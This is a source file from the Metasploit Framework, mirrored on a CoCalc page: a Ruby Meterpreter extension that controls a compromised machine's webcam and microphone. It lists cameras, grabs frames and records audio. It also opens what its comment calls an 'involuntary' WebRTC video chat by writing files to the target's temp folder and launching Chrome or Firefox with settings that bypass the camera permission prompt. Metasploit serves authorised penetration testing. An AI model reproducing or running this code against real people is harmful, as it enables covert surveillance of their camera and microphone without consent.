CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
Views: 11795
1
# -*- coding: binary -*-
2
3
module Rex
4
module Post
5
module Meterpreter
6
module Extensions
7
module Stdapi
8
module Webcam
9
10
###
11
#
12
# This meterpreter extension can list and capture from webcams and/or microphone
13
#
14
###
15
class Webcam
16
include Msf::Post::Common
17
include Msf::Post::File
18
include Msf::Post::WebRTC
19
20
def initialize(client)
21
@client = client
22
end
23
24
def session
25
@client
26
end
27
28
def webcam_list
29
response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_LIST))
30
names = []
31
response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
32
names << tlv.value
33
end
34
names
35
end
36
37
# Starts recording video from video source of index +cam+
38
def webcam_start(cam)
39
request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_START)
40
request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
41
client.send_request(request)
42
true
43
end
44
45
def webcam_get_frame(quality)
46
request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_GET_FRAME)
47
request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
48
response = client.send_request(request)
49
response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
50
end
51
52
def webcam_stop
53
client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_STOP))
54
true
55
end
56
57
#
58
# Starts a webcam session with a remote user via WebRTC
59
#
60
# @param server [String] A server to use for the channel.
61
# @return void
62
#
63
def webcam_chat(server)
64
offerer_id = Rex::Text.rand_text_alphanumeric(10)
65
channel = Rex::Text.rand_text_alphanumeric(20)
66
67
remote_browser_path = webrtc_browser_path
68
69
if remote_browser_path.to_s.strip.empty?
70
fail "Unable to find a suitable browser on the target machine"
71
end
72
73
init_video_chat(remote_browser_path, server, channel, offerer_id)
74
connect_video_chat(server, channel, offerer_id)
75
end
76
77
# Record from default audio source for +duration+ seconds;
78
# returns a low-quality wav file
79
def record_mic(duration)
80
request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD)
81
request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
82
response = client.send_request(request)
83
response.get_tlv(TLV_TYPE_AUDIO_DATA).value
84
end
85
86
attr_accessor :client
87
88
private
89
90
#
91
# Returns a browser path that supports WebRTC
92
#
93
# @return [String]
94
#
95
def webrtc_browser_path
96
found_browser_path = ''
97
98
case client.platform
99
when /win/
100
paths = [
101
"%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
102
"%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
103
"%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
104
"%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
105
"%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
106
"%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
107
]
108
109
# Old chrome path
110
user_profile = client.sys.config.getenv("USERPROFILE")
111
paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
112
113
paths.each do |browser_path|
114
if file?(browser_path)
115
found_browser_path = browser_path
116
break
117
end
118
end
119
120
when /osx|bsd/
121
[
122
'/Applications/Google Chrome.app',
123
'/Applications/Firefox.app'
124
].each do |browser_path|
125
if file?(browser_path)
126
found_browser_path = browser_path
127
break
128
end
129
end
130
when /linux|unix/
131
# Need to add support for Linux in the future.
132
# But you see, the Linux meterpreter is so broken there is no point
133
# to do it now. You can't test anyway.
134
end
135
136
found_browser_path
137
end
138
139
#
140
# Creates a video chat session as an offerer... involuntarily :-p
141
# Windows targets only.
142
#
143
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
144
# @param offerer_id [String] A ID that the answerer can look for and join
145
#
146
def init_video_chat(remote_browser_path, server, channel, offerer_id)
147
interface = load_interface('offerer.html')
148
api = load_api_code
149
150
interface = interface.gsub(/\=SERVER\=/, server)
151
interface = interface.gsub(/\=CHANNEL\=/, channel)
152
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
153
154
tmp_dir = session.sys.config.getenv("TEMP")
155
156
begin
157
write_file("#{tmp_dir}\\interface.html", interface)
158
write_file("#{tmp_dir}\\api.js", api)
159
rescue RuntimeError => e
160
elog('webcam_chat failed', error: e)
161
raise "Unable to initialize the interface on the target machine"
162
end
163
164
#
165
# Automatically allow the webcam to run on the target machine
166
#
167
args = ''
168
if remote_browser_path =~ /Chrome/
169
args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
170
elsif remote_browser_path =~ /Firefox/
171
profile_name = Rex::Text.rand_text_alpha(8)
172
o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
173
profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
174
setting = %|user_pref("media.navigator.permission.disabled", true);|
175
begin
176
write_file(profile_path, setting)
177
rescue RuntimeError => e
178
elog('webcam_chat failed', error: e)
179
raise "Unable to write the necessary setting for Firefox."
180
end
181
args = "-p #{profile_name}"
182
end
183
184
exec_opts = { 'Hidden' => false, 'Channelized' => false }
185
186
begin
187
session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
188
rescue RuntimeError => e
189
elog('webcam_chat failed', error: e)
190
raise "Unable to start the remote browser: #{e.message}"
191
end
192
end
193
end
194
end
195
end
196
end
197
end
198
end
199
end
200
201